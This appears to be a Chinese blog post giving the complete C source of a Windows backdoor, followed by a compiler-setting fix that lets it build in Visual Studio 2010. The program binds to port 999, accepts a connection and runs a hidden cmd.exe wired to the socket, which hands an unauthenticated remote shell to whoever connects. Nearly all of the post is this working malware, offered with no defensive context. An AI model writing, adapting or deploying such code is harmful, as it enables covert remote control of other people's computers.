VS2010:
#include <winsock2.h>
#include <stdio.h>
#define MasterPort 999 //定义监听端口999
#pragma comment(lib, "ws2_32.lib")
int main()
{
WSADATA WSADa;
struct sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//分配内存资源,初始化数据:
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//获取cmd路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//加载ws2_32.dll:
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议,建立socket,代码如下:
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置绑定端口999:
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
//设置服务器端监听端口:
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
//开始连接远程服务器,并配置隐藏窗口结构体:
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道:
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄:
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
return 0;
}
报错:不能将参数 1 从“const char [8]”转换为“LPCWSTR”
解决办法:
选中项目,然后点击属性——>配置属性——>常规——>项目默认值——>字符集,选为“使用多字节字符集"
标签:const,StartupInfo,LPCWSTR,SSocket,char,SockAddrIn,ProcessInfo,sizeof,NULL From: https://blog.51cto.com/u_1002776/6228455